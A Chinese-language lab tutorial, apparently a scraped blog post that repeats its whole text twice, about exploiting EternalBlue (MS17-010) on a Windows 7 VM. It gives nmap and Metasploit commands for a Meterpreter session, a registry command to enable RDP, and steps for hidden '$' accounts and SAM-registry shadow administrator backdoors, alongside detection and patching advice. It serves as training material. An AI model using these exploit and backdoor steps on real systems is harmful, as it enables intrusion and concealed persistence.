一、漏洞背景爆发时间2017年4⽉披露2017年5⽉衍⽣出 Wannacry 勒索病毒全球爆发。影响范围波及全球学校、企业、政府机构病毒加密⽤户⽂件后要求⽀付⽐特币赎⾦才能恢复。漏洞原理利⽤ Windows SMB v1 协议的漏洞⽆需⽤户交互即可远程执⾏恶意代码。SMB 协议基础定义客户机/服务器架构的请求/响应协议主要⽤于⽂件共享、打印机共享、⽹络登录等 。关联端⼝TCP 139 端⼝NetBIOS 会话端⼝、TCP 445 端⼝SMB 直接连接端⼝。⽇常应⽤Windows 系统⽹上邻居功能的底层依赖协议。二、漏洞利⽤实验Kali Win7前提 Windows 远程 RDP 连接远程桌⾯连接连接方式有2种二选一哪个方便用哪个方式1方式2命令开启远程桌⾯服务需要管理员身份运⾏cmd窗⼝如下图在命令提示窗口中输入reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 回车后即可获得显示以上页面表示已经成功开启远程桌⾯服务。注意事项被控制电脑需有可登录的 Windows 账号和密码账号需有远程访问权限没有密码或权限不 够⽆法成功连接。控制端电脑操作的那台需知道被控制电脑的IP 地址可通过前⾯学的 ipconfig 命令查询或同⼀⽹络下的电脑名称才能定位并连接。补充两台电脑的防⽕墙需允许 “远程桌⾯” 相关连接默认开启远程桌⾯后防⽕墙会⾃动放 ⾏不⽤额外操作。好了接下来就可以直接进入实战环节环境准备kali win7攻击机Kali Linux需联⽹配置安装 Metasploit 框架。目标机Windows 7 旗舰版IP192.168.157.130开启 SMB 服务未安装 MS17-010 补丁。2.利用步骤在kali虚拟机上进行操作1漏洞扫描通过 nmap 脚本检测⽬标是否存在 MS17-010 漏洞。1 nmap --script smb-vuln* 192.168.157.130此为目标机IP若出现VULNERABLE字样如下图则确认⽬标存在该漏洞。2启动 Metasploit 框架3搜索并加载漏洞利⽤模块1 search ms17-010 # 搜索相关模块2 use exploit/windows/smb/ms17_010_eternalblue # 选择永恒之蓝利⽤模块输⼊对应序 2 号也可4配置攻击参数1 show options # 查看需要配置的参数2 set rhosts 192.168.157.130 # 设置⽬标机 IP win7的IP3 set lhost 192.168.157.129 # 设置攻击机 IPKali的 IP5执⾏攻击 获取 Meterpreter 会话1 exploit # 或输⼊ run 执⾏攻击6攻击成功后将获得⽬标机的 Meterpreter 交互式会话如下图此时你就获得对方主机的控制权。扩展Meterpreter核心操作命令常用命令多敲一下就熟悉了。获得对方的控制权限后一般黑客会对你的计算机做哪些操作我们根据黑客思路又可以做哪些防御措施。我们接着往下走。三、Windows ⽤户与组管理1.账户类型与权限等级账户类型权限描述适⽤场景管理员账户Administrator拥有系统完全控制权限可修改安装软件、管理其他⽤户服务器管理、系统维护 系统配置标准⽤户账户仅拥有⾃身⽂件操作和分软件普通员⼯办公、个⼈⽇常使⽤使⽤权限⽆法修改系统核⼼配置来宾账户Guest权限最低仅能浏览部分⽂件临时访客使⽤ 默认禁⽤2.⽂件/⽂件夹权限NTFS 系统1图形界⾯配置⽅法1. 右键⽬标⽂件/⽂件夹 → 选择「属性」→ 切换到「安全」选项卡。2. 点击「编辑」→ 「添加」输⼊⽤户名/组名如 everyone 代表所有⽤户。3. 为⽤户/组分配权限勾选对应权限类型点击「确定」保存。然后给勾对应的权限。注意如果你的组或用户名G莫名多出一个你不认识的用户并且它的权限很高就要注意。常用权限类型说明权限类型核心功能完全控制可读取、修改、删除、重命名文件/文件夹且能更改权限。修改可读取、修改、删除文件/文件夹不能更改权限读取和执行可读取文件内容运行可执行文件列出文件夹内容仅能查看文件夹内的文件列表无法读取文件夹内容。读取仅能读取文件内容不能修改或删除。写入可向文件写入内容或创建新文件不能读取原有内容。核心管理命令CMD的命令命令功能描述示例net user查看系统中所有用户账户net usernet user 用户名查看指定用户的详细信息net user adminnet user 用户名 密码 / add创建新用户net user test 123456 / addnet user 用户名 /delete删除用户net user test /deletenet localgroup 组名 用户名 /add将用户添加到指定组提升权限net localgroup administrators test /add 将test加入管理员组net localgroup查看系统中所有用户组net localgroup注意删除用户、修改管理员组等操作需谨慎生产环境中需要提前获得授权避免影响业务运行。四、安全后门隐藏用户与影子用户1.隐藏用户简单隐藏易排查创建命令net user test$ 123456 /add 用户名后加$默认不在”计算机管理”和net user 列表中显示。用计算机net user命令是查看不到的。排查方法但是可以用net user test$ 指定用户名查询如下图计算机管理→本地用户和组→用户开启[隐藏已知文件类型的扩展名]可以看到。一句话概括隐藏用户在cmd窗口用net user命令查看不到需要用net user 用户名$ 查看或进到计算机管理中才能查看到。2.影子用户注册表隐藏难排查原理复制管理员账户Administrator的注册表权限信息赋予普通用户实现“普通用户管理员权限”的隐藏控制。操作步骤打开注册表编辑器WinR→输入 regedit →回车定位路径HKEY_LOCAL_MACHING\SAM\SAM右键【SAM】→【权限】→勾选当前用户的【完全控制】→【确定】展开路径SAM\Domains\Account\Users\Names找到【Administrator】记录其对应的数值名称通常为0×1f4。点击数值名称如0×1f4复制右侧【F】键值的数据。创建普通隐藏用户net user test$ 123456 /add在【Names】路径下找到【test$】记录其对应的数值名称如0x1f5。点击【test$】对应的数值名称将右侧的【F】键值替换为步骤4复制的管理员【F】键值。导出该注册表项文件→导出然后删除test$用户net user test$ /delete 。后续可通过导入注册表文件恢复影子用户且无明显账户记录。排查建议同时检查「计算机管理→本地⽤户和组」和注册SAM\Domains\Account\Users \Names 路径对⽐异常数值名称与⽤户的对应关系。一句话概括影子用户需要同时在计算机管理和注册表中同时排查才能查到。五、漏洞防御策略针对永恒之蓝漏洞MS17-0101.禁⽤ SMBv1 协议漏洞载体⽅法控制⾯板→程序→程序和功能→启⽤或关闭 Windows 功能→取消勾选「SMB 1.0/CIFS⽂件共享⽀持」→「确定」。2.安装安全补丁通过 Windows Update ⾃动更新或⼿动下载 MS17-010 对应补丁KB4012212/KB4012215 等根据系统版本选择。3.防⽕墙端⼝管控阻⽌ TCP 139、445 端⼝的⼊站和出站连接企业内⽹可根据业务需求配置IP⽩名单仅允许授权设备访问。4.终端防护强化不打开陌⽣邮件附件、不点击可疑链接启⽤ Windows Defender 或安装第三⽅杀毒软件保持病毒库更新。六、Goby —系统漏洞扫描神器核⼼功能快速扫描⽬标系统的已知漏洞⽀持 Windows、Linux 等系统扫描速度快、误报率低。下载地址https://gobies.org/#dl前置依赖需安装 Npcap 组件可通过安装 Wireshark 附带安装或直接从 Npcap 官⽹下载。使⽤场景渗透测试前期的漏洞探测、企业内⽹安全⾃查。
windows经典漏洞之永恒之蓝
发布时间:2026/6/24 2:07:07
一、漏洞背景爆发时间2017年4⽉披露2017年5⽉衍⽣出 Wannacry 勒索病毒全球爆发。影响范围波及全球学校、企业、政府机构病毒加密⽤户⽂件后要求⽀付⽐特币赎⾦才能恢复。漏洞原理利⽤ Windows SMB v1 协议的漏洞⽆需⽤户交互即可远程执⾏恶意代码。SMB 协议基础定义客户机/服务器架构的请求/响应协议主要⽤于⽂件共享、打印机共享、⽹络登录等 。关联端⼝TCP 139 端⼝NetBIOS 会话端⼝、TCP 445 端⼝SMB 直接连接端⼝。⽇常应⽤Windows 系统⽹上邻居功能的底层依赖协议。二、漏洞利⽤实验Kali Win7前提 Windows 远程 RDP 连接远程桌⾯连接连接方式有2种二选一哪个方便用哪个方式1方式2命令开启远程桌⾯服务需要管理员身份运⾏cmd窗⼝如下图在命令提示窗口中输入reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 回车后即可获得显示以上页面表示已经成功开启远程桌⾯服务。注意事项被控制电脑需有可登录的 Windows 账号和密码账号需有远程访问权限没有密码或权限不 够⽆法成功连接。控制端电脑操作的那台需知道被控制电脑的IP 地址可通过前⾯学的 ipconfig 命令查询或同⼀⽹络下的电脑名称才能定位并连接。补充两台电脑的防⽕墙需允许 “远程桌⾯” 相关连接默认开启远程桌⾯后防⽕墙会⾃动放 ⾏不⽤额外操作。好了接下来就可以直接进入实战环节环境准备kali win7攻击机Kali Linux需联⽹配置安装 Metasploit 框架。目标机Windows 7 旗舰版IP192.168.157.130开启 SMB 服务未安装 MS17-010 补丁。2.利用步骤在kali虚拟机上进行操作1漏洞扫描通过 nmap 脚本检测⽬标是否存在 MS17-010 漏洞。1 nmap --script smb-vuln* 192.168.157.130此为目标机IP若出现VULNERABLE字样如下图则确认⽬标存在该漏洞。2启动 Metasploit 框架3搜索并加载漏洞利⽤模块1 search ms17-010 # 搜索相关模块2 use exploit/windows/smb/ms17_010_eternalblue # 选择永恒之蓝利⽤模块输⼊对应序 2 号也可4配置攻击参数1 show options # 查看需要配置的参数2 set rhosts 192.168.157.130 # 设置⽬标机 IP win7的IP3 set lhost 192.168.157.129 # 设置攻击机 IPKali的 IP5执⾏攻击 获取 Meterpreter 会话1 exploit # 或输⼊ run 执⾏攻击6攻击成功后将获得⽬标机的 Meterpreter 交互式会话如下图此时你就获得对方主机的控制权。扩展Meterpreter核心操作命令常用命令多敲一下就熟悉了。获得对方的控制权限后一般黑客会对你的计算机做哪些操作我们根据黑客思路又可以做哪些防御措施。我们接着往下走。三、Windows ⽤户与组管理1.账户类型与权限等级账户类型权限描述适⽤场景管理员账户Administrator拥有系统完全控制权限可修改安装软件、管理其他⽤户服务器管理、系统维护 系统配置标准⽤户账户仅拥有⾃身⽂件操作和分软件普通员⼯办公、个⼈⽇常使⽤使⽤权限⽆法修改系统核⼼配置来宾账户Guest权限最低仅能浏览部分⽂件临时访客使⽤ 默认禁⽤2.⽂件/⽂件夹权限NTFS 系统1图形界⾯配置⽅法1. 右键⽬标⽂件/⽂件夹 → 选择「属性」→ 切换到「安全」选项卡。2. 点击「编辑」→ 「添加」输⼊⽤户名/组名如 everyone 代表所有⽤户。3. 为⽤户/组分配权限勾选对应权限类型点击「确定」保存。然后给勾对应的权限。注意如果你的组或用户名G莫名多出一个你不认识的用户并且它的权限很高就要注意。常用权限类型说明权限类型核心功能完全控制可读取、修改、删除、重命名文件/文件夹且能更改权限。修改可读取、修改、删除文件/文件夹不能更改权限读取和执行可读取文件内容运行可执行文件列出文件夹内容仅能查看文件夹内的文件列表无法读取文件夹内容。读取仅能读取文件内容不能修改或删除。写入可向文件写入内容或创建新文件不能读取原有内容。核心管理命令CMD的命令命令功能描述示例net user查看系统中所有用户账户net usernet user 用户名查看指定用户的详细信息net user adminnet user 用户名 密码 / add创建新用户net user test 123456 / addnet user 用户名 /delete删除用户net user test /deletenet localgroup 组名 用户名 /add将用户添加到指定组提升权限net localgroup administrators test /add 将test加入管理员组net localgroup查看系统中所有用户组net localgroup注意删除用户、修改管理员组等操作需谨慎生产环境中需要提前获得授权避免影响业务运行。四、安全后门隐藏用户与影子用户1.隐藏用户简单隐藏易排查创建命令net user test$ 123456 /add 用户名后加$默认不在”计算机管理”和net user 列表中显示。用计算机net user命令是查看不到的。排查方法但是可以用net user test$ 指定用户名查询如下图计算机管理→本地用户和组→用户开启[隐藏已知文件类型的扩展名]可以看到。一句话概括隐藏用户在cmd窗口用net user命令查看不到需要用net user 用户名$ 查看或进到计算机管理中才能查看到。2.影子用户注册表隐藏难排查原理复制管理员账户Administrator的注册表权限信息赋予普通用户实现“普通用户管理员权限”的隐藏控制。操作步骤打开注册表编辑器WinR→输入 regedit →回车定位路径HKEY_LOCAL_MACHING\SAM\SAM右键【SAM】→【权限】→勾选当前用户的【完全控制】→【确定】展开路径SAM\Domains\Account\Users\Names找到【Administrator】记录其对应的数值名称通常为0×1f4。点击数值名称如0×1f4复制右侧【F】键值的数据。创建普通隐藏用户net user test$ 123456 /add在【Names】路径下找到【test$】记录其对应的数值名称如0x1f5。点击【test$】对应的数值名称将右侧的【F】键值替换为步骤4复制的管理员【F】键值。导出该注册表项文件→导出然后删除test$用户net user test$ /delete 。后续可通过导入注册表文件恢复影子用户且无明显账户记录。排查建议同时检查「计算机管理→本地⽤户和组」和注册SAM\Domains\Account\Users \Names 路径对⽐异常数值名称与⽤户的对应关系。一句话概括影子用户需要同时在计算机管理和注册表中同时排查才能查到。五、漏洞防御策略针对永恒之蓝漏洞MS17-0101.禁⽤ SMBv1 协议漏洞载体⽅法控制⾯板→程序→程序和功能→启⽤或关闭 Windows 功能→取消勾选「SMB 1.0/CIFS⽂件共享⽀持」→「确定」。2.安装安全补丁通过 Windows Update ⾃动更新或⼿动下载 MS17-010 对应补丁KB4012212/KB4012215 等根据系统版本选择。3.防⽕墙端⼝管控阻⽌ TCP 139、445 端⼝的⼊站和出站连接企业内⽹可根据业务需求配置IP⽩名单仅允许授权设备访问。4.终端防护强化不打开陌⽣邮件附件、不点击可疑链接启⽤ Windows Defender 或安装第三⽅杀毒软件保持病毒库更新。六、Goby —系统漏洞扫描神器核⼼功能快速扫描⽬标系统的已知漏洞⽀持 Windows、Linux 等系统扫描速度快、误报率低。下载地址https://gobies.org/#dl前置依赖需安装 Npcap 组件可通过安装 Wireshark 附带安装或直接从 Npcap 官⽹下载。使⽤场景渗透测试前期的漏洞探测、企业内⽹安全⾃查。